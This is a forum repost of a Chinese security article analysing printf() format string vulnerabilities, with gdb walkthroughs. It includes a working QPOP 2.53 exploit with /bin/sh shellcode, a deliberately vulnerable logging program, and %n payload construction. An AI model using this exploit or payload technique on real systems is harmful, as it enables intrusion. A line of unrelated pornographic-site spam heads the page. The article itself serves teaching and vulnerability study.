亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 4879 | 回復: 2
打印 上一主題 下一主題

printf()格式化串安全漏洞分析(上) [轉(zhuǎn)] [復制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2002-11-06 09:07 |只看該作者 |倒序瀏覽

*printf()格式化串安全漏洞分析(上)

作者:warning3 (warning3@nsfocus.com)
主頁:http://www.nsfocus.com
日期:2000-8-15

     測試平臺:RedHat 6.1, RedHat 6.2 (Intel i386)

前言:
=====

最近一段時間,一種新的安全漏洞正開始引起人們注意,就是諸多的*printf()函數(shù)的格式
化串問題。其實這個問題應該說并不鮮見,只是一直沒有人注意它,直到最近才開始進行
一些深入的討論。格式化串的問題實際上是由于程序員編程時的疏漏所導致的,下面我們
就來看看具體是怎么回事。


關(guān)于格式化串
============

*printf()函數(shù)包括printf,  fprintf,  sprintf,  snprintf,  vprintf, vfprintf,
vsprintf, vsnprintf等函數(shù),它們可以將數(shù)據(jù)格式化后輸出。以最簡單的printf()為例:
int printf(const char *format, arg1,arg2,...)&#59;

通過定制format的內(nèi)容(%s,%d,%p,%x...),用戶可以將數(shù)據(jù)按照某種格式輸出。問題是,
*printf()函數(shù)并不能確定數(shù)據(jù)參數(shù)arg1,arg2...究竟在什么地方結(jié)束,也就是說,它不知
道參數(shù)的個數(shù)。它只會根據(jù)format中的打印格式的數(shù)目依次打印堆棧中參數(shù)format后面地址
的內(nèi)容。先來看一個簡單的例子:

<- begin ->;  fmt_test.c

#include <stdio.h>;

int main(void)
{
   char string[]=&quot;Hello World!&quot;&#59;
   
   printf(&quot;String: %s  , arg2: %#p , arg3: %#p\n&quot;, string)&#59;
   return 0&#59;
}

<- end ->;  

上面的例子中我們其實只提供了一個數(shù)據(jù)參數(shù)&quot;string&quot;,但在格式串中有三個打印格式,
我們看一下運行的結(jié)果:

[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c
[warning3@redhat-6 format]$ ./fmt_test
String: Hello World!  , arg2: 0x6c6c6548 , arg3: 0x6f57206f

我們來看一下arg2,arg3顯示的是哪里的內(nèi)容:
[warning3@redhat-6 format]$ gdb ./fmt_test
<...>;
(gdb) b printf
Breakpoint 1 at 0x8048308
(gdb) r
Starting program: /home/warning3/format/./fmt_test
Breakpoint 1 at 0x40064f5c: file printf.c, line 30.

Breakpoint 1, printf (
    format=0x80484c0 &quot;String: %s  , arg2: %#p , arg3: %#p\n&quot at printf.c:30
30      printf.c: No such file or directory.
(gdb) x/10x $ebp
0xbffffc88:     0xbffffca8      0x08048403      0x080484c0      0xbffffc98
0xbffffc98:     0x6c6c6548      0x6f57206f      0x21646c72      0x08049500
0xbffffca8:     0xbffffcc8      0x400301eb

我們看到printf()的第一個參數(shù)地址是$ebp+8,里面的內(nèi)容是0x080484c0,
(gdb) x/s 0x080484c0
0x80484c0 <_IO_stdin_used+60>;:   &quot;String: %s  , arg2: %#p , arg3: %#p\n&quot;
這是我們的格式化串的地址

再來看我們要格式化輸出的數(shù)據(jù)($ebp+12):
(gdb) x/s 0xbffffc98
0xbffffc98:      &quot;Hello World!&quot;

我們看到,緊接著下來的兩個字的內(nèi)容就是剛才的程序中顯示的結(jié)果:
$ebp+16: 0x6c6c6548  &quot;Hell&quot;
$ebp+20: 0x6f57206f  &quot;o Wo&quot;

從下面的示意圖上可以看得更清楚一些:

              棧頂
       +------------+
      |   ......   |   
      +------------+
0xbffffc88| 0xbffffca8 | -------->; 保存的EBP  -- printf()
      +------------+
      | 0x08048403 | -------->; 保存的EIP  -- printf()
      +------------+  format
format->;  | 0x080484c0 | -------->; &quot;String: %s  , arg2: %#p , arg3: %#p\n&quot;的地址
      +------------+  arg1
      | 0xbffffc98 | -------->; &quot;Hello World!&quot;的地址                          
      +------------+
      | 0x6c6c6548 | -------->; string[] = &quot;Hell   
      +------------+
      | 0x6f57206f | -------->;             o Wo
      +------------+
      | 0x21646c72 | -------->;             rld!&quot;
      +------------+
      | 0x08049500 | -------->;   '\0'xxx
      +------------+
0xbffffca8| 0xbffffcc8 | -------->; 保存的EBP  -- main()
      +------------+
      | 0x400301eb | -------->; 保存的EIP  -- main()
      +------------+
          |   ......   |   
      +------------+
              棧底

我們可以看到,arg2,arg3所顯示的其實是main()中數(shù)組strings中前兩個字的內(nèi)容。
從上面這個簡單的例子我們可以看到, *printf()只根據(jù)format中打印格式(%)的數(shù)目來依次
顯示堆棧中format參數(shù)后面地址的內(nèi)容,每次移動一個字(4個字節(jié)).
由于我們上面的例子中出現(xiàn)了三個(%)號,所以它會依次打印三個地址的內(nèi)容:
format+4, format + 8, format + 12.

(注意:并不是所有的%格式都是移動4個字節(jié),例如%f就每次移動8個字節(jié)。如果要覆蓋的地址
距離比較遠(比如2048字節(jié)),而%的個數(shù)又有所限制的話,使用%f可以較快的到達&quot;目的地&quot;,
只需要256個%f就可以了,%E也是如此)

正常情況下,由于format串通常是程序員自己來定制,很少出現(xiàn)上面那種情況,而且即使
出現(xiàn)了,也并不會有什么大的安全問題。然而,如果format串是由用戶提供的話,那么就
非常危險了!這種情況往往是由于程序員的疏忽導致的。最常見的情況是當需要利用
vsprintf()等來構(gòu)造自己的類printf()函數(shù)時,例如

mylog(LEVEL, &quot;username = %s&quot;, username)&#59;

如果引用mylog時錯誤的使用了mylog(LEVEL,user_buf),而user_buf的內(nèi)容又是用戶可以控
制的話,那么真正的危險就來了。

1. 問題一:格式化串導致的傳統(tǒng)緩沖區(qū)溢出
==========================================

我們以不久前發(fā)現(xiàn)的QPOP 2.53的例子來做一下詳細的說明。


QPOP 2.53中pop_uidl.c中有個函數(shù)pop_euidl (p),用來完成EUIDL命令的功能,它錯誤的
使用了pop_msg()函數(shù):

.......
pop_euidl (p)
POP     *   p&#59;
{
    char                    buffer[MAXLINELEN]&#59;     /*  Read buffer */
    char            *nl, *bp&#59;
    MsgInfoList         *   mp&#59;         /*  Pointer to message info list */
......
      if (mp->;del_flag) {
      
      /* 注意: 這里使用pop_msg()的做法是正確的! 注意和下面那個pop_msg()的用法
                做一下比較。
       */
        return (pop_msg (p,POP_FAILURE,
                &quot;Message %d has been marked for deletion.&quot;,msg_id))&#59;
      } else {

    sprintf(buffer, &quot;%d %s&quot;, msg_id, mp->;uidl_str)&#59;
        if (nl = index(buffer, NEWLINE)) *nl = 0&#59;
       /* 下面這個sprintf()將用戶輸入的數(shù)據(jù)拷貝到buffer中,由于限制了%s的寬度,
           因此不會發(fā)生緩沖區(qū)溢出 */        
   
    sprintf(buffer, &quot;%s %d %.128s&quot;, buffer, mp->;length, from_hdr(p, mp))&#59;
   
    /* 注意:這里直接將buffer作為第三個參數(shù)傳遞給pop_msg(),這是錯誤的! */
    return (pop_msg (p,POP_SUCCESS, buffer))&#59;
      }

我們再來看看pop_msg()函數(shù),它在pop_msg.c中定義:

......
#define BUFSIZE 2048
......
#ifdef __STDC__
/* 我們看到,pop_msg()的第三個參數(shù)是format串*/
pop_msg(POP *p, int stat, const char *format,...)
#else
pop_msg(va_alist)
va_dcl
#endif
{
#ifndef __STDC__
    POP             *   p&#59;
    int                 stat&#59;              /*  POP status indicator */
    char            *   format&#59;            /*  Format string for the message */
#endif
    va_list             ap&#59;
    register char   *   mp&#59;
#ifdef PYRAMID
    char        *   arg1, *arg2, *arg3, *arg4, *arg5, *arg6&#59;
#endif
    char                message[BUFSIZE]&#59; /* 定義了一個BUFSIZE=2048大小的緩沖區(qū) */

#ifdef __STDC__
    va_start(ap,format)&#59;
.......

    /*  Point to the message buffer */
    mp = message&#59;                       /* mp指向message[]起始地址 */
......
    /*  Append the message (formatted, if necessary) */
    if (format) {
#ifdef HAVE_VPRINTF
/* 這里將變參ap按照format的格式輸出到mp所指向的message[]中
   注意,這里沒有檢查拷貝數(shù)據(jù)的大小!
*/
        vsprintf(mp,format,ap)&#59;

.....

我們看到pop_euidl()中的buffer,本來應該出現(xiàn)在pop_msg()的第四個參數(shù)位置上,也就是
pop_msg()的ap所指向的內(nèi)容,正確的格式應該象下面這樣:
pop_msg (p,POP_SUCCESS, &quot;%s&quot;, buffer)&#59;
這樣由于buffer的長度是有限制的,pop_msg()中的vsprintf()就不會產(chǎn)生溢出。
但由于程序員的疏忽,錯誤的將buffer放在了第三個參數(shù)的位置上,其實就是pop_msg()中
format所指向的內(nèi)容。而buffer中的部分內(nèi)容是由用戶提供的,因此如果用戶輸入的數(shù)
據(jù)中包含某些特別的打印格式,就可能利用vsprintf()調(diào)用溢出message緩沖區(qū)。

那么具體如何來做呢?我們知道打印格式中有個重要的部分是打印寬度,例如:%.20d,%20d
%20s,%.20s等等。以printf(&quot;%.20d&quot;,num)為例,如果整數(shù)num的長度小于20,printf()會在
它前面補零來使打印出來的長度為20,例如:
printf(&quot;%.20d\n&quot;,12345)&#59;
打印結(jié)果如下:
00000000000000012345

這讓我們想到,是否可以通過定義打印寬度來填充message緩沖區(qū)呢?
如果我們構(gòu)造buffer的內(nèi)容讓它象這個樣子:

xxx%.2000d<RET>;<RET>;...<RET>;

那么vsprintf(mp,&quot;xxx%.2000d<RET>;<RET>;...<RET>;&quot;,ap)&#59;
就可能使<RET>;覆蓋pop_msg()函數(shù)的返回地址,如果我們可以在<RET>;這個地址中放入shellcode
,就可能獲得一個遠程shell了。由于通常Qpoper沒有丟棄mail組權(quán)限,因此我們可以獲得一個
gid=mail的shell,可以查看其他普通用戶的郵件....

為了達到我們的目標,我們需要做的事是:

<1>; 發(fā)一封郵件給要攻擊的用戶,在X-UIDL:域中放入我們的shellcode,
    在From:域中放入%.2000d<RET>;<RET>;...<RET>;
    注意這個<RET>;的地址需要通過調(diào)試才能確定,它應該指向我們的shellcode所在地址。
   
<2>; 以該用戶身份登陸QPOP server,執(zhí)行EUIDL num命令,這里的num應該是我們剛才發(fā)送
    的那封特殊郵件的序號。
   
    如果一切順利的話,你就可以得到一個gid mail的shell了。

下面我們提供一個簡單的測試程序,它會給你一個本地的gid mail shell:
(你可能需要自己調(diào)整retloc以及POP *p的地址才能成功)

<- begin ->;  qpop2.53_local.c

/*  QPOP 2.53 local exploit .
*  code based on the sample exploit by Prizm/b0f.
*  usages:
*    [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >;/var/spool/mail/test
*    [test@redhat-6 /tmp]$ nc localhost 110
*     
*     +OK QPOP (version 2.53) at localhost.localdomain starting.  
*     user test
*     +OK Password required for test.
*     pass 123456
*     +OK test has 1 message (307 octets).
*     euidl 1
*     <...snip...>;
*     id
*     uid=514(test) gid=12(mail) groups=12(mail)  
*                                                   warning3@isbase.com
*                                                      y2k/5/28
*/

#include <stdio.h>;
#include <string.h>;

char shellcode[]=
   &quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;
   &quot;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa&quot;
   &quot;\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04&quot;
   &quot;\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff&quot;
   &quot;\xff\xff/bin/sh....&quot;&#59;

int main(int argc, char *argv[])
{
        int i&#59;
        unsigned long ra=0&#59;
        unsigned long p= 0xbffffdf8&#59;
        if(argc<2) {
                fprintf(stderr,&quot;Usage: %s return_addr POP(*)_addr\n&quot;, argv[0])&#59;
                exit(0)&#59;
        }
        sscanf(argv[1], &quot;%x&quot;, &amp;ra)&#59;
        /* 由于pop_msg()發(fā)生溢出后還需要一個有效的POP *p指針才能正確結(jié)束,所以
         * 我們必須要提供一個有效的地址
         */
        sscanf(argv[2], &quot;%x&quot;, &amp;p)&#59;
        if(!ra)
                return&#59;
        if(sizeof(shellcode) < 12 || sizeof(shellcode) >; 76) {
                fprintf(stderr,&quot;Bad shellcode\n&quot&#59;
                exit(0)&#59;
        }
        fprintf(stderr,&quot;return address: 0x%.8x\n&quot;, ra)&#59;
        fprintf(stderr,&quot;p address: 0x%.8x\n&quot;, p)&#59;
        printf(&quot;From root  Sun May 28 17:29:37 2000\n&quot&#59;
        printf(&quot;Date: Sun, 28 May 2000 17:29:37 +0800\n&quot&#59;
        printf(&quot;From: %s&quot;, &quot;%.500d%.500d%.500d%.398d&quot&#59;
        for(i=0&#59; i < 20&#59; i++)
          printf(&quot;%c%c%c%c&quot;, (ra &amp; 0xff), (ra &amp; 0xff00)>;>;8, (ra &amp; 0xff0000)>;>;16, (ra &amp; 0xff000000)>;>;24)&#59; /* 連續(xù)的返回地址 */
        printf(&quot;%c%c%c%c&quot;, ( p&amp; 0xff), (p &amp; 0xff00)>;>;8, (p &amp; 0xff0000)>;>;16, (p &amp; 0xff000000)>;>;24)&#59;/* 有效的POP *p指針 */
        printf (&quot;\n&quot&#59;
        printf (&quot;Subject: haha\n&quot&#59;
        printf (&quot;Message-Id: <200005280929.RAA03577@localhost.localdomain>;\n&quot&#59;
        printf(&quot;X-UIDL: &quot&#59;
        for(i=0&#59; i < sizeof(shellcode)&#59;i++)
                printf(&quot;%c&quot;, shellcode)&#59;
        printf(&quot;\n&quot&#59;
        printf (&quot;\n\n&quot;)&#59;
        return 0&#59;
}   
      
<- end ->;


2. 問題二:格式化串導致覆蓋函數(shù)返回地址
========================================

我們再來看另外一個問題:%n的問題。 %n在格式化中的意思是將顯示內(nèi)容的長度輸出到一
個變量中去。通常的用法是這樣的:

<- begin ->;  n_test.c

main()
{
  int num=0x41414141&#59;
  
  printf(&quot;Before: num = %#x \n&quot;, num)&#59;
  printf(&quot;%.20d%n\n&quot;, num, &amp;num)&#59;
  printf(&quot;After: num = %#x \n&quot;, num)&#59;

}

<- end ->;  

[warning3@redhat-6 format]$ ./n_test
Before: num = 0x41414141
00000000001094795585
After: num = 0x14

我們看到,變量num的值已經(jīng)變成了0x14(20),也就是說,因為我們的程序中將變量num的地
址壓入堆棧,作為printf()的第二個參數(shù),%n會將打印總長度保存到對應參數(shù)的地址中去。
那么如果我們不將num的地址壓入堆棧會發(fā)生什么事情呢?


[warning3@redhat-6 format]$ vi n_test.c

<- begin ->;  n_test1.c

main()
{
  int num=0x41414141&#59;

  printf(&quot;Before: num = %#x \n&quot;, num)&#59;
  printf(&quot;%.20d%n\n&quot;, num)&#59;            /* 注意,我們沒有壓num的地址入棧 */
  printf(&quot;After: num = %#x \n&quot;, num)&#59;

}

<- end ->;  

[warning3@redhat-6 format]$ ./n_test1
Before: num = 0x41414141
Segmentation fault (core dumped)      <--- 在執(zhí)行第二個printf()時就發(fā)生段錯誤了
[warning3@redhat-6 format]$ gdb ./n_test core
GNU gdb 4.18
<...>;
#0  0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 &quot;%.20d%n\n&quot;,
    ap=0xbffffca at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc                         <--- 我們看看下一條指令是什么
0x4005d897 <_IO_vfprintf+2455>;: mov    %eax,(%ecx)   <--- 將%eax的值填到%ecx中
                                                          的地址去
(gdb) i r $ecx                                       <--- 目的地址是 0x41414141
ecx            0x41414141       1094795585
(gdb) i r $eax
eax            0x14     20                           <--- 填充內(nèi)容是0x14(20)
(gdb)

很明顯,這就是在執(zhí)行%n操作的時候發(fā)生了段錯誤,0x41414141肯定是不能訪問的。我們
注意到num的初始值就是0x41414141,兩者是不是有什么聯(lián)系呢?其實從前面關(guān)于fmt_test.c
的討論我們就應該可以看出來,printf()將堆棧中main()函數(shù)的變量num當作了%n所對應的
參數(shù),因此會將0x14保存到0x41414141中去。聰明的讀者應該可以想到,如果我們可以控制
num的內(nèi)容,那么不就意味著可以修改任意地址(當然是允許寫入的地址)的內(nèi)容了?是的。
我們首先想到的是覆蓋函數(shù)的返回地址,讓我們修改一下程序:

<- begin ->;  n_test2.c

main()
{
  int num=0xbffffcbc&#59;

  printf(&quotress Any Key to Continue...\n&quot;)&#59;
  getchar()&#59;
  printf(&quot;Before: num = %#x \n&quot;, num)&#59;
  printf(&quot;%.1094795585u%n\n&quot;, num)&#59;  /* 1094795585 = 0x41414141 */
  printf(&quot;After: num = %#x \n&quot;, num)&#59;

}

<- end ->;  


這里的num的值是main()函數(shù)的返回地址,我們的目的是將0x41414141覆蓋main()函數(shù)
的返回地址,這樣從main()函數(shù)返回時就會跳到0x41414141去運行,當然這會導致段錯
誤,這里只是舉個例子而已。
至于getchar()的作用,純粹是為了調(diào)試方便,一會你就會明白為什么要加這個東西。
細心的讀者可能會發(fā)現(xiàn)我將%d換成了%u,這是因為如果要
打印的值為負數(shù),printf會自動在前面加上一個'-'號,這樣實際的打印結(jié)果長度就要
加上一,在這個例子中,我們就可能跳到0x41414142去了,當然這里對我們并沒有什么
影響,如果我們有很多%d,例如:&quot;%d%d%d...%d%d&quot;,我們就不能簡單的根據(jù)&quot;%d&quot;的個數(shù)來
計算顯示結(jié)果的長度,還要考慮可能的'-'號數(shù)目。為了簡便起見,我們用%u來顯示,它
會按無符號整數(shù)來顯示結(jié)果,就不用考慮'-'號的情況。

讓我們來看看運行結(jié)果,這是在一臺RedHat 6.1下運行的結(jié)果:
[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...

這時我們再開一個終端[tty2]來調(diào)試:
<在終端tty2上>;

[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
GNU gdb 4.18
<......>;
Attaching to program: /home/warning3/format/./n2, Pid 28428
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400bcdb4 in __libc_read () from /lib/libc.so.6
(gdb) bt
#0  0x400bcdb4 in __libc_read () from /lib/libc.so.6
#1  0x4010648c in __DTOR_END__ () from /lib/libc.so.6
#2  0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385
#3  0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
#4  0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
#5  0x4006af56 in getchar () at getchar.c:37
#6  0x8048417 in main () at n_test2.c:6
(gdb) i f 6
Stack frame at 0xbffffcb8:
eip = 0x8048417 in main (n_test2.c:6)&#59; saved eip 0x400301eb
caller of frame at 0xbffffcac
source language c.
Arglist at 0xbffffcb8, args:
Locals at 0xbffffcb8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc      --->; 這是main函數(shù)保存返回地址的地方,
                                                  也是num初始值
(gdb) c                 --->; 讓跟蹤的程序繼續(xù)運行      
Continuing.

現(xiàn)在我們再切換到原先的終端上,繼續(xù)執(zhí)行我們的程序:
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...  --->; 按一下回車

Before: num = 0xbffffcbc

我們再切到tty2來看發(fā)生了什么:
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  --->; 發(fā)生了段訪問錯誤
0x4005dff0 in _IO_vfprintf (s=0x40104c60,
    format=0x80484d2 &quot;%.1094795585u%n\n&quot;, ap=0xbffffcb4) at vfprintf.c:1259
1259    vfprintf.c: No such file or directory.

(gdb) x/6i $pc  --->; 看看我們要執(zhí)行什么命令了
0x4005dff0 <_IO_vfprintf+4336>;: movb   $0x30,(%esi)
0x4005dff3 <_IO_vfprintf+4339>;: dec    %esi
0x4005dff4 <_IO_vfprintf+4340>;: mov    0xfffffad8(%ebp),%eax
0x4005dffa <_IO_vfprintf+4346>;: decl   0xfffffad8(%ebp)
0x4005e000 <_IO_vfprintf+4352>;: test   %eax,%eax
0x4005e002 <_IO_vfprintf+4354>;: jg     0x4005dff0 <_IO_vfprintf+4336>;

(gdb) i r $esi
esi            0xbfffdfff       -1073750017
(gdb) i r $eax
eax            0x41412b43       1094789955  ---->; 還有0x41412b43個'0'要填充
(gdb) x/200x $esi
0xbfffdfff:     0x30303000      0x30303030      0x30303030      0x30303030
0xbfffe00f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe01f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe02f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe03f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe04f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe05f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe06f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe07f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe08f:     0x30303030      0x30303030      0x30303030      0x30303030
<....>;

我們看到這幾句程序?qū)?x30('0')往堆棧頂端(低地址方向)中填充,實際上就是為顯示
&quot;%.1094795585u&quot;中指定的'0'做準備。好像堆棧太小了,不足以存放這么多'0',讓我們
再來看看./n2執(zhí)行時的內(nèi)存映射:

^Z
[1]+  Stopped                 gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
[warning3@redhat-6 format]$ cat /proc/28428/maps
08048000-08049000 r-xp 00000000 03:06 168475     /home/warning3/format/n2
08049000-0804a000 rw-p 00000000 03:06 168475     /home/warning3/format/n2
40000000-40012000 r-xp 00000000 03:06 144892     /lib/ld-2.1.2.so
40012000-40013000 rw-p 00012000 03:06 144892     /lib/ld-2.1.2.so
40013000-40015000 rw-p 00000000 00:00 0
40018000-40103000 r-xp 00000000 03:06 144899     /lib/libc-2.1.2.so
40103000-40107000 rw-p 000ea000 03:06 144899     /lib/libc-2.1.2.so
40107000-4010b000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0

從上面我們可以看到可寫的堆棧段是從bfffe000-c0000000之間的地址空間,而前面的語句
要將0x30('0')寫入0xbfffdfff,這個地址已經(jīng)不在堆棧段中,因此會發(fā)生段訪問錯誤。程
序也就執(zhí)行不下去了。因此,在RedHat 6.1中,我們不能簡單的直接用%.RET%n的方式來覆
蓋函數(shù)返回地址,因為通常RET都是在堆棧段中,即通常大于0xbfff0000,這是個相當大的數(shù)
值,RedHat 6.1的glibc中的vfprintf()不能正常顯示這么多的'0',而RedHat 6.2中的glibc
所帶的vfprintf()則可以,也就是說,上面的程序在RedHat 6.2下,這條語句:
printf(&quot;%.1094795585u%n\n&quot;, num)&#59;
可以正常結(jié)束,然后main()的返回地址被覆蓋成0x41414141。
但是我并不建議讀者直接在RedHat 6.2下運行這個程序,因為它會打印非常多的0,你需要
有足夠的耐心才能等待它結(jié)束.

<1>; 攻擊方法一:直接覆蓋返回地址
=================================

我們看另外一個簡單的問題程序,我們會先在RedHat 6.2上進行攻擊測試:


<- begin ->;  vul.c

/*  A simple vulnerable example for format bug.
*                                 warning3@nsfocus.com
*/

#include <stdarg.h>;
#include <unistd.h>;
#include <syslog.h>;

#define BUFSIZE 1024

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE]&#59;
   va_list ap&#59;
  
   va_start(ap, fmt)&#59;
   vsnprintf(buf, sizeof(buf)-1, fmt, ap)&#59;
   buf[BUFSIZE-1] = '\0'&#59;
   syslog(level, &quot;[hmm]: %s&quot;, buf)&#59;
   va_end(ap)&#59;
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE]&#59;
  int num,i&#59;
  
  num = argc &#59;

  if(argc >; 1) {
     for ( i = 1 &#59; i < num &#59; i ++ ) {
            snprintf(buf, BUFSIZE -1 , &quot;argv[%d] = %.200s&quot;, i, argv)&#59;
            buf[BUFSIZE-1] = '\0'&#59;
            log(LOG_ALERT, buf)&#59;  // 這里有問題
            printf(&quot;argv[%d] = %s \n&quot;, i, argv)&#59;
    }
  }
}
<- end ->;  

這個有問題的程序在調(diào)用子函數(shù)log()的時候,錯誤的將buf放到了*fmt所對應的位置上,
而buf的內(nèi)容中的一部分是用戶輸入的,而且沒有做任何檢查。雖然程序其余地方都比較
小心地使用了vsnprintf(),snprintf(),不會發(fā)生通常的緩沖區(qū)溢出問題。但這個格式化
串的錯誤也將是致命的。

我們先來分析一下如何進行攻擊。我們看到main()函數(shù)會將命令行參數(shù)拷貝到buf中去。
前面還加上了&quot;argv[%d] = &quot;字符串,在參數(shù)個數(shù)小于10的情況下,這個字符串的長度為
10字節(jié)。我們考慮構(gòu)造這樣的字符串作為命令行參數(shù):
&quot;align|RET|%d%d...%.SH_RETd|%n&quot;

&quot;align&quot;:  用來調(diào)整buf開頭的數(shù)據(jù)長度為4的整數(shù)
&quot;RET&quot;:     是main()或者log()函數(shù)的返回地址位置,我們會將shellcode的地址放到RET中去,
&quot;SH_RET&quot;:  我們存放shellcode的地址
&quot;%d...%d&quot;: 這些%d用來使%n所對應的地址剛好是儲存RET的地址

我們來看看在第一次調(diào)用log()時,堆棧中的情況

  保存ebp 保存eip 參數(shù)1     參數(shù)2  變量i 變量num  緩沖區(qū)buf
-----------------------------------------------------------------------
|  EBP  |  EIP  |LOG_ALERT| &amp;buf |  i  |  num  |&quot;argv[1] = &quot;| argv[1] |  
-----------------------------------------------------------------------
                           ^      ^                        
                           |__fmt |__ap
低址  ---------------------->;---------------------------------->;  高址

                          
在執(zhí)行完  va_start(ap, fmt) 后,變參指針ap指向fmt的下一個地址,也就是main()
函數(shù)局部變量i的地址,如果我們提供的argv[1]的是這樣的字符串:
&quot;xxabcd%d%d%d%d%d%p&quot;
那么堆棧中的情況就是這樣:


保存ebp 保存eip 參數(shù)1     參數(shù)2 變量i 變量num  緩沖區(qū)buf
--------------------------------------------------------------------------------
|  EBP  |  EIP  |LOG_ALERT| &amp;buf |  i | num |&quot;argv[1] = xx&quot;|&quot;abcd&quot;|%d%d%d%d%d%p|
--------------------------------------------------------------------------------
                           ^      ^ 4B   4B   12B          ^  RET             |      
                           |__fmt |__ap                    |__________________|
                              
低址  ---------------------->;---------------------------------->;  高址

因為&quot;argv[1] = &quot;長是10字節(jié),我們用兩個字節(jié)&quot;xx&quot;來使其變成4的整數(shù)倍:12字節(jié)。因此,
從變量i的地址到&quot;abcd&quot;之間共有4+4+12=20字節(jié),20/4=5,因此我們需要用5個%d來對應這5
個地址,這樣最后一個格式化串%p就對應了&quot;abcd&quot;的地址,因此打印出來應該是:
&quot;0x64636261&quot;
                                 
[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
argv[1] = xxabcd%d%d%d%d%d%p
[root@rh62 format]# tail -1 /var/log/messages
Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493
0x64636261

注意最后的0x64636261,這說明我們前面的分析是正確的。如果我們將%p換成%n,vsnprintf
()就會將打印長度存放到0x64636261中去,當然這肯定會導致段錯誤

[root@rh62 format]# gdb ./vul
GNU gdb 19991004
<...>;
(gdb) r xxabcd%d%d%d%d%d%n
Starting program: /root/./vul xxabcd%d%d%d%d%d%n


Program received signal SIGSEGV, Segmentation fault.
0x400622b7 in _IO_vfprintf (s=0xbffff224,
    format=0xbffff738 &quot;argv[1] = xxabcd%d%d%d%d%d%n&quot;, ap=0xbffff74
    at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc
0x400622b7 <_IO_vfprintf+2455>;: mov    %eax,(%ecx)
(gdb) i reg $eax $ecx
eax            0x2f     47
ecx            0x64636261       1684234849
(gdb)

我們看到,eax中保存的是打印的總長度:47, vsnprintf()在將這個值保存到$ecx中去時
發(fā)生了段錯誤。如果我們將RET換成保存main函數(shù)返回地址的地址,就會將這個長度存放
到那里去,如果這個長度的值剛好等于我們存放shellcode的地址,那么當main()返回時
就會跳到我們的shellcode去運行了。

(待續(xù))

論壇徽章:
0
2 [報告]
發(fā)表于 2002-11-06 09:25 |只看該作者

printf()格式化串安全漏洞分析(上) [轉(zhuǎn)]

好!請多登一些類似的文章!

論壇徽章:
0
3 [報告]
發(fā)表于 2002-11-06 09:51 |只看該作者

printf()格式化串安全漏洞分析(上) [轉(zhuǎn)]

謝謝多位捧場,請大家多多討論,講講各自的心得。!
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP